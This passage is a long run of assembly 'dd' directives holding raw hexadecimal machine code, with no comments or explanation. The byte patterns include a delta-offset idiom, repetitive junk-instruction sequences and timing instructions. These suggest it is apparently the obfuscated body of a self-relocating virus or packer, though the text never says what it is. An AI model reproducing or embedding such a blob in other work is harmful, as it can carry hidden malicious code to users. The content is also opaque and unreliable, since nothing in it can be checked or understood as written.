7D09B63Dh, 40763FEFh dd 170FBB1Dh, 4B866212h, 12C599B6h, 1004158Eh, 29F9CAE9h dd 70A2A6F2h, 2EF07BB4h, 4DE8DE0Bh, 1C376812h, 5B0EEBC4h dd 60331510h, 1E8C355Ch, 29A2DA17h, 3D378997h, 5A3067F9h dd 43FC43C7h, 1A1F0826h, 1DFEA01h, 30A9FC60h, 2EE20950h dd 4202A03h, 268F593Bh, 2CB5858Dh, 81660622h, 50F3F2D7h dd 0FE8h, 417A300h, 0EFF3B9B2h, 64F17773h, 0E0126F03h dd 0E339BB66h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 90C35545h, 30A5BE9Ch, 0B113043h, 222A31BDh dd 6A006A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 10E9C357h, 818D890Bh, 6A06220Ah dd 0FE8B6600h, 619A858Dh, 6A0626h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 64A829C3h, 3890Fh, 8B660000h dd 0F9BF0FFAh, 6A05C083h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0DF6BC355h, 6E951h dd 5F1A0000h, 0ABC17978h, 0AE850h, 4470000h, 44DDE7E2h dd 83AF72DBh, 0BB665250h, 310F21F3h, 6E8h, 7B4A7F00h, 5BE1FD97h dd 895F585Ah, 81662404h, 0F7460DFh, 8Dh, 89006A00h, 22160D95h dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0CE09C351h, 915B3892h, 0BF0FA0EBh dd 10E9D8h, 811A0000h, 1D9BED5Eh, 4DD6FF26h, 8F1F6F26h dd 95FF2702h, 6223555h, 4818D89h, 8D8D0622h, 625A90Fh dd 0FFFE8B66h, 0E1B589D1h, 83062205h, 2200F5BDh, 850F0106h dd 7Eh, 1109BD8Bh, 5E90622h, 0D4000000h, 7D98DE54h, 6A026Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 506E3CC3h, 28C0F60h, 0B5000000h, 5850F7Ch, 0B8000000h dd 71B61504h, 24048961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 48C35747h, 0D4FC016Ah, 8B50C6D0h, 2215D5BDh dd 95FF5F06h, 6220285h, 12A99531h, 45E90622h, 0E800000Eh dd 0 dd 0A4ED815Dh, 6A062661h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 90CC357h, 7196B359h dd 1C658D89h, 6CBB0622h, 0F876A8E2h, 9345858Dh, 6A0625h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 87E264C3h, 1B69BD09h, 89500622h, 0BF0F2404h, 35FF64DEh dd 0 dd 13C1B589h, 89640622h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD896BD6h dd 6222A05h, 8B185FFh, 0D5BF0622h, 6A511EABh, 57006AFFh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 74A2B0DCh, 0AC6505C3h, 0E8604EBBh, 9, 67125478h, 0DB67E79Ch dd 0ED858B77h, 5A062227h, 89B5FF61h, 6A062206h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0E152C357h, 8959F343h, 222D758Dh, 3595FF06h, 0E906221Ch dd 0F8h, 0B237F1BBh, 8900B069h, 2220A995h, 6670E606h, 0E4E1F1BFh dd 6DB58971h, 3C062207h, 0D5830F61h, 8B000000h, 0C8B60FD9h dd 4DBD3350h, 5B062200h, 6BAh, 8B666000h, 0FACE81C2h, 6170F642h dd 9D89C18Bh, 6220785h, 8A04E8C1h, 0E2F766D9h, 0F1CFCF81h dd 0C82B0944h, 5E9h, 0A0263400h, 0D18BFD36h, 0CE9h, 0BEC38100h dd 9090D25h, 2207C195h, 0BD858B06h, 0B062226h, 221461BDh dd 7C08306h, 55D9D03h, 0C0830622h, 2D8D8900h, 3B06221Eh dd 17830FD0h, 0F5000000h, 57E9h, 66606000h, 892080BFh dd 222CA5B5h, 0D0806106h, 8D8B610Fh, 6220635h, 1E183FCh dd 36840Fh, 0BD890000h, 6220095h, 635A583h, 0E9FE0622h dd 0Dh, 7F9C5F1Eh, 0A97349FFh, 459793F4h, 0F18D29E9h, 89062204h dd 2226BD95h, 79858906h, 0E906222Ch, 0 dd 0EAAFB58Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 1F3816C3h, 0EE0DF1DEh, 9D33006Ah dd 6221265h, 307595FFh, 6A0622h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 57DF41C3h, 0BD8B2F48h dd 6220185h, 0DF4B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 816673C5h, 839C4CCBh dd 8166FCE1h, 0FC4924CFh, 0B8DF8Bh, 89000000h, 2228A595h dd 0BA06h, 9600000h, 22150585h, 0E9BD8906h, 6106222Fh dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 12C35545h, 9097385Eh, 0C48CD458h dd 21BD895Ah, 0E8062214h, 14h, 23EE9716h, 0A77D5FC5h, 0A9C47159h dd 835EAE7h, 580D03E2h, 20719589h, 6A5F0622h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 12BDC352h, 0B70F4C16h, 880DF8h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 958B90C3h dd 62233F1h, 13E9h, 6F19A400h, 0FD89E6C8h, 5ECE1D73h, 99854C9Ch dd 7D702E98h, 2D318D8Bh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 3D8671C3h, 0E9BA2C6Fh dd 0Ah, 13E63261h, 0D449963Bh, 8B5006CFh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 66DBD8Bh, 0E3810622h, 6EDB277Dh dd 0FB8B6657h, 69BD835Fh, 6222Ch, 0A8840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 830F49C3h, 6, 434EF781h, 0B855ABh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 5F04C355h, 8AFECA22h, 519D8BFCh, 8B062216h, 221B959Dh dd 0B18D8D06h, 6A062250h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FFA2C357h, 50006AE1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 3FD32499h, 8B6005B7h, 222559B5h, 0BD836106h, 62230E5h dd 63840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 5DDEC352h, 0CA1999E4h dd 1DE2AA83h, 1ACD9D29h, 0BD830622h, 62230E5h, 46840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 24C5C350h, 0DE9BFh, 24450000h dd 9E241E3Fh, 35C364B1h, 8B089377h, 221A89BDh, 0E5BD8306h dd 3062230h, 3CD860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 2A2CBFC3h, 1AF6086h dd 81663F4Fh, 608BC7C3h, 2A319D89h, 8C660622h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 1F45635h, 220F8DB5h, 4E18006h, 6E9h, 23336200h, 0A1A7D78h dd 21840FC9h, 66000001h, 8B6529BBh, 2210B985h, 0C9BD8906h dd 3306222Ah, 2208A585h, 6820F06h, 9000000h, 2233298Dh dd 0DB39006h, 0CD81BB50h, 6A904C6Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 95D4C350h dd 0F09F7377h, 0C29D5CB6h, 1BBD9D8Bh, 6A0622h, 4E85F56h dd 0FF000000h, 66001F03h, 506F4DBFh, 58F0Fh, 3BB0000h dd 8B617EB9h, 66042444h, 8B12F6BFh, 0F576000h, 86h, 0BA665E00h dd 8961D886h, 50042444h, 0F88B6652h, 6650310Fh, 5A5FF88Bh dd 0B70F5858h, 9195FFDAh, 6A06221Eh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B113C351h dd 63666047h, 5800F5Ah, 0BB000000h, 5143EECEh, 0CAEB8589h dd 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 6E8A3C3h, 220E900h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F9C9F2C3h dd 1C8856F1h, 0CAE3858Bh, 0BD8B0625h, 6221981h, 1800C7h dd 9D890000h, 62224A1h, 28E0Fh, 0FE8B0000h, 0CAE7B58Bh dd 0B3600625h, 108C0FDFh, 0E9000000h, 0Bh, 48EA90F9h, 0E37C9C8h dd 612D576Ah, 0A65858Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 6BD79AC3h, 4A59BEE8h dd 718571BFh, 6A068933h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 20DBC357h, 0AE34B883h dd 999D330Bh, 8B062231h, 2210B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 45B81A70h dd 10C97BD4h, 95293A2Bh, 6220B11h, 1DD1BD01h, 46890622h dd 8B96F504h, 8A0F50DFh, 3, 96FA8B66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 9EC35545h, 4084BBB2h, 810F604Eh dd 3, 0F9CD580h, 587h, 0C1816600h, 0FF616935h, 25CAE3B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 88E67E4h, 0D781B215h, 63FB3052h, 7E9h, 97F3E100h dd 5AA88FA5h, 259D8Bh, 0E680622h, 50E2DCC4h, 11E96052h dd 7E000000h, 0BEA18EFEh, 0B58580D0h, 8044A4EBh, 12C2CE9h dd 0F615857h, 8B665031h, 585A5FDEh, 0F1240481h, 891D423Fh dd 22086D95h, 0EB858D06h, 0E90625CAh, 11h, 0F3A513D8h dd 0DF672B9Bh, 0CFF00E3Dh, 0A6840162h, 0E85350A6h, 12h dd 181885E5h, 7D1CBE35h, 1ADB6C56h, 0CCCA28B1h, 5F5B1985h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0EFFDC351h, 0B1EA8B5Dh, 9589A418h dd 6222C6Dh, 1E9195FFh, 29560622h, 2214B9B5h, 0F615B06h dd 584h, 0C3816600h, 0B58908CFh, 6220A81h, 30E585C7h, 30622h dd 83F50000h, 25CAEBBDh, 840F0006h, 17h, 19C59D8Bh, 0BD8B0622h dd 6221165h, 21E9h, 18D8900h, 5006221Ch, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0FBF786C3h dd 218589F0h, 6A062233h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0D59BC350h, 5E9h, 5B2EC500h dd 0BD83647Fh, 62230E5h, 6E850F03h, 8B000004h, 22066DBDh dd 0EBBD8306h, 625CAh, 45B840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 998094C3h dd 80C1860Dh, 8B532ECFh, 2205B59Dh, 0B5FF5B06h, 625CAEBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E7C35646h dd 0FF6967E5h, 1DCD95FFh, 0DE90622h, 52000000h, 5BA5ABEBh dd 0B91EBA4Ch, 0C351CA17h, 0CADFB58Bh, 21BF0625h, 0B7512785h dd 106C756h dd 0E9000100h, 7, 1E76BBB4h, 9606A45Dh, 6A9650h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 444836C3h, 0E9BA3464h, 14h, 0F80DA368h, 961FA69h, 0DED75744h dd 0D37257B9h, 63E172CDh, 0CAEBB5FFh, 6A0625h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 615DDDC3h, 1248C48Ah, 95FF9EF3h, 6222541h, 5CD0BF66h dd 0CADFB58Bh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0B76AEEC3h, 0B25E8C46h, 858B7F7Bh dd 6221B2Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 55C35141h, 42CFD013h, 860F264Eh, 3, 89D98B66h dd 0C486h, 10E800h, 296E0000h, 0F5931228h, 0D58A2871h dd 0A2B8076h, 0DF8BACA7h, 0F1958B5Fh, 8B062233h, 222061BDh dd 4C28306h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 2A5EC353h, 0BC858DE0h dd 6A0625DEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 4738C350h, 9767F3B1h, 8689F509h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 2BC35242h, 0C2CEB977h, 0F8B8A365h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 4C44F0C3h, 89F099ADh, 2212B1B5h, 0EBB5FF06h, 6A0625CAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0B5FC353h, 562C8B1Fh, 3F55C49Dh, 28595FFh dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 81DA85C3h, 5089F61Eh, 4810Fh, 0BF660000h dd 3489347Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0A62A4CEBh, 0EE908BCh, 0FB000000h dd 9D2C6832h, 19ADCCD2h, 0B21E706h, 0B9858969h, 0FF062218h dd 25CAEBB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0AA89CD48h, 7AF4CAA0h, 95FF719Fh dd 6221AF5h, 0DA11EBBBh, 31BD836Dh, 62213h, 6C840Fh, 60960000h dd 0DE9h, 0D099CD00h, 0CDCDC4D5h, 0EB2C2E3Ch, 8F0FEDFDh dd 12h, 0CE8h, 96799700h, 5DC0E7AFh, 1B826DA6h, 50615F8Ah dd 37ADBF66h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 95177A3Ch, 30FCFD48h, 0BE8F350h dd 0BC000000h, 4BCB5538h, 489C3A60h, 0B70F8B7Ah, 0B5FF5BDFh dd 625CAEBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 50C35646h, 0A5BD0392h, 0FF062233h, 221D4195h, 0D9BF0F06h dd 0CAEBB5FFh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0BBA603C3h, 28C38168h, 0FF4635D8h dd 222FC595h, 0BBB5606h, 5B27124Dh, 2A9BD83h, 0F020622h dd 4A84h, 858BFC00h, 62200E1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0CDC35242h, 0FBBB6707h, 6A0000C6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 7E7C353h, 0C70675A1h, 22197D85h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A98E76ABh, 895F4DD9h, 2213499Dh, 0F2ADE906h, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 560A58C3h, 860F11D3h, 6, 1D4DBD8Bh, 9D8B0622h, 622066Dh dd 0E960C18Bh, 5, 54CB00FFh, 9D858947h, 6106221Eh, 2CB5858Dh dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0E30BAC3h, 45B7FFCDh, 800FB949h, 5, 7BEB8050h dd 0D88B505Fh, 6A240489h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 51F274D3h dd 0F241A19Bh, 3CD9D0Bh, 6A0622h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 3CC35646h, 0DA8B6653h, 0C5E7805Bh dd 727A858Dh, 0F9600626h, 0DE9h, 74B84300h, 300698C1h dd 0CA8C92FAh, 8361A338h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0B964B7C3h, 0DA8AE4ADh dd 12E8h, 9C7E7A00h, 0D9E5B96Ch, 323B2F11h, 0FB8687A8h dd 0F790B91h, 683h, 5BD8B00h, 5F06222Ch, 52505090h, 0EE8h dd 8068E600h, 49FE932Dh, 0A5F4AB8Ch, 8B77474Eh, 310F5FD9h dd 8E9h, 7A183700h, 2E0315FBh, 90585AA9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 9BC35646h, 0BE861h dd 4A4F0000h, 0FA0C142Bh, 8A0E9736h, 0FE9DBh, 37A30000h dd 86068638h, 12492C34h, 0BD09980Ah, 8A565BDAh, 9D8B5FFAh dd 6221B55h, 0BD01006Ah, 6220E85h, 84BB006Ah, 8B69DB8Ch dd 22003D9Dh, 5595FF06h, 0B062235h, 2226099Dh, 0F8D8D06h dd 600625A9h, 0ADC88166h, 0CE9B7h, 41830000h, 8246A57Ch dd 0B29190C6h, 0FF6184E4h, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 4F050D5Eh dd 8CE125F3h, 2850Fh, 0B5B30000h, 99D0350h, 5B062214h dd 0F5BD83h, 0F010622h, 0AD85h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 130D5459h dd 0DDC13388h, 8C0F578Eh, 6, 220D9D8Bh, 6A5B0622h, 0AE85602h dd 39000000h, 0C76CE2D3h, 3BDCE2A3h, 5FDE8BE9h, 1850F5Bh dd 0F8000000h, 52505090h, 0AE95250h, 58000000h, 204E7B3h dd 70CBFC3Eh, 60310F10h, 0F585A61h, 5820F31h, 0BB000000h dd 552A401Ch, 0F90585Ah, 689h, 8AF38100h, 0FF4CCD08h, 22028595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 61247730h, 1CE9FE8Bh, 0E800000Dh, 0 dd 84ED815Dh, 0BF062672h, 700AEAA2h, 0F18D0960h, 6006222Ah dd 61613CB4h, 9345858Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0A017DFC3h, 840AF6B1h dd 50AD2131h, 5FD88B66h, 0EE9h, 679FC000h, 90E63183h, 36197D71h dd 5022C6F4h, 89FA8B66h, 0B5312404h, 6222839h, 35FF64h dd 0BB000000h, 57975981h, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 795C355h, 0FFA4707Fh, 2208B185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0F4B9FD9Fh dd 0F7A56E3h, 1987h, 138F0F00h, 0E9000000h, 0Eh, 3AC6D40h dd 0DD70CEF7h, 17DC1EE7h, 0FF6AA817h, 356D9D8Bh, 0B5FF0622h dd 6221D9Dh, 28319D89h, 9D890622h, 6222C09h, 1C3595FFh dd 0BE90622h, 81000001h, 345EF4EFh, 5820F66h, 0BB000000h dd 4A6B75DBh, 0B58900B0h, 62228F9h, 0BD8B70E6h, 6220F8Dh dd 853171E4h, 6220E4Dh, 0A271F381h, 613C4AD5h, 0D4830Fh dd 9E90000h, 0E1000000h, 0D2C6A41Dh, 0DDCB47h, 8BC8B60Fh dd 222FE59Dh, 6BA06h, 0C18B0000h, 880Fh, 0E8C10000h, 5DDB8104h dd 663518C9h, 0A65ACF81h, 2BE2F766h, 4C4CBFC8h, 0D18B4CC7h dd 158DBD8Bh, 2E90622h, 8B000000h, 1858BFEh, 0F062221h dd 8960D8BFh, 220249B5h, 800F06h, 61000000h, 6607C083h dd 0C083FB8Bh, 0C59D8B00h, 3B06221Ah, 26830FD0h, 81000000h dd 7974D1C7h, 50E917h, 0BD230000h, 62219EDh, 9E8h, 40177F00h dd 4F748EDBh, 0BD31F2E8h, 6222D39h, 558D8B5Fh, 89062200h dd 221D61B5h, 1E18306h, 20840Fh, 0FAB70000h, 55A583h, 8BFE0622h dd 220AD99Dh, 1958906h, 89062221h, 2203218Dh, 0E906h, 0B58D0000h dd 625FAFCh, 103D9D03h, 66600622h, 0BD8BC88Bh, 6221F49h dd 0E9006A61h, 0Eh, 969B90F0h, 55E7EAE9h, 39AD6CF0h, 95FF610Bh dd 6223075h, 709FDF81h, 0D2B9632Fh, 6A000007h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 8BABC353h, 0FCE183FCh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0F7C35141h, 0F48C641Ch, 0FC6B08D4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 42C35242h, 2BD88B66h dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 3BE6CABAh, 0BA88467Bh, 0 dd 30619D8Bh, 33AD0622h, 3E8D1C2h, 4E983D0h, 8C0FF475h dd 0Bh, 6E9h, 70AE8B00h, 89F894FDh, 2216399Dh, 880D06h dd 0BF0F0000h, 0F1958BDAh, 9062233h, 2212B1BDh, 0DB816606h dd 8D8B1CF8h, 6222D31h, 0BBCD380h, 222A319Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 60BBC350h, 13E8h, 631CC400h, 69D46388h, 4CA3993Eh, 0CAC71D42h dd 0BD687961h, 58D98B66h, 840F60h, 60000000h, 0B616161h dd 220FE99Dh, 69BD8306h, 6222Ch, 61840Fh, 9D230000h, 6221A09h dd 0B8h, 0CE800h, 0A2A30000h, 0E087A2B5h, 0F2CB269h, 8D5BA218h dd 2250B18Dh, 0BE906h, 98000000h, 0E16AA8FFh, 706450EBh dd 6AE1FF93h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 90EC357h, 95788B1Bh, 60685C33h dd 6B58D89h, 83610622h, 2230E5BDh, 840F0006h, 457h, 1951BD89h dd 0BD830622h, 62230E5h, 5F840F01h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 60B5C351h, 0EBB2EEC4h, 0E5BD834Bh, 3062230h, 3FA860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0E2820AC3h, 8E3D5F85h, 0A59D8B60h, 0E8062231h dd 0Ch, 0E34E49E0h, 0DDCFF130h, 9212217Ch, 11E9h, 8D055B00h dd 0A752DCEBh, 256D5BE4h, 0A661A1BBh, 615F3779h, 12798D89h dd 6A600622h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 37C7C351h, 0D8B560CCh, 0AE832h dd 0AC420000h, 4C37478Eh, 3B587D56h, 14F98589h, 665F0622h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 90376BC3h, 0CF4ABBB8h, 219D8BF5h, 80062225h dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 7024A8C3h, 0A684BD3h, 2840FC9h, 8B000001h dd 2210B985h, 0C8D38106h, 8B6F34C9h, 2225E1BDh, 0A5853306h dd 0E9062208h, 9, 73C5BFD3h, 0CDD10A65h, 71BD8B18h, 9006220Fh dd 60506160h, 8B665250h, 0E9310FF3h, 0Ah, 5B63BF3h, 0A06C15FAh dd 585AB33Ch, 13E9h, 0E050A700h, 0FD744458h, 0D18B1270h dd 74A2B0DCh, 0AC6505C3h, 0C7809061h, 73BF6642h, 6A006A9Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F689C353h, 48BD17D2h, 10E80395h, 37000000h dd 394D3B40h, 732C8EBh, 0E828EF02h, 0E9F1BB55h, 0Ah, 0EF04329Fh dd 231BE13Ah, 0F5FFB20h, 0C8Bh, 7E900h, 0E78A0000h, 0B24655B5h dd 776668F3h, 0BF66775Ch, 3481E00Ch, 43749924h, 4DB52977h dd 0FF062231h, 221E9195h, 0D88B6606h, 0CAEB8589h, 0C7810625h dd 680A881Bh, 1F5E9h, 6820F00h, 60000000h, 0D98BA9B5h dd 0E3858B61h, 810625CAh, 4CD6E6C7h, 1800C76Ch, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5F1BC350h, 1355BD8Bh, 0B58B0622h, 625CAE7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 91C35747h dd 0C7EDB290h, 5D16051Ah, 0A65858Bh, 0BD010622h, 6221DC9h dd 0BF0F0689h, 858BF8DFh, 62210B9h, 15859D89h, 46890622h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 45BE3C3Dh, 0BD89AA9Ah, 6220791h, 0BE850h dd 11170000h, 3F4A8BFDh, 0D62118A4h, 71D3BB0Fh, 895F7181h dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0DE8BBAC3h, 0CAE3B5FFh, 0C3BF0625h, 0F043E9Fh dd 4E8D8B7h, 0FF000000h, 0F001F03h, 286h, 50D98B00h, 0DE860h dd 927E0000h, 7D83D3C8h, 3B9CFB63h, 0B2D46CA9h, 8B615840h dd 8B042444h, 14E800h, 89780000h, 93850AFh, 318A1C1Dh dd 8CAE6F4Fh, 0F3E1E286h, 895FA597h, 8B042444h, 6A58FAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 21A297C3h, 8CD15B78h, 0B58967D3h, 6220FC5h, 0CAEB858Dh dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F21421C3h, 29E04731h, 0DE9869Ah, 7B000000h dd 0A8D13F5Dh, 5A47FB3Ch, 9E84391Ch, 0B8606090h, 63534B80h dd 0B8615F57h, 7C55ADFCh, 8A535061h, 0B7905FFDh, 9195FFE7h dd 6A06221Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0D31FC355h, 0B2BE7388h, 10F98529h dd 0F610622h, 85C7DEBFh, 62230E5h, 3, 0CAEBBD83h, 0F000625h dd 0B84h, 0F5858900h, 0E906220Ah, 1Bh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 2233F5BDh dd 0D98B6606h, 30E5BD83h, 0F030622h, 43D85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0FAD0B85Fh, 0EBBD8332h, 625CAh, 410840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0BB5D9FC3h, 0FC154AB9h, 0BF0F4668h, 199D8BDFh, 0FF06220Fh dd 25CAEBB5h, 0DABF0F06h, 5631C7BFh, 0CD95FF32h, 6A06221Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0BB19C352h, 65F4EBA5h, 8B3655A5h, 25CADFB5h dd 99C38106h, 0C7550173h, 1000106h, 418D2900h, 50062205h dd 34895F57h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 6A2D21B1h, 0F4FADAF4h, 0BB666DAAh dd 0BD2BF22Ch, 622259Dh, 5FDF8166h, 0EBB5FFE0h, 890625CAh dd 22304D95h, 0FFF88B06h, 22254195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 5802E683h dd 284B13F6h, 8BDA8BD4h, 223225BDh, 0DFB58B06h, 6A0625CAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 51D6C352h, 5E8h, 0BF401B00h, 0BD892AA8h dd 6220A11h, 2D858B5Bh, 8B06221Bh, 220EE9BDh, 0C4868906h dd 0F000000h, 28Eh, 0FFB8B00h, 684h, 59958900h, 8B06220Ah dd 2233F195h, 8D8B6006h, 62201B5h, 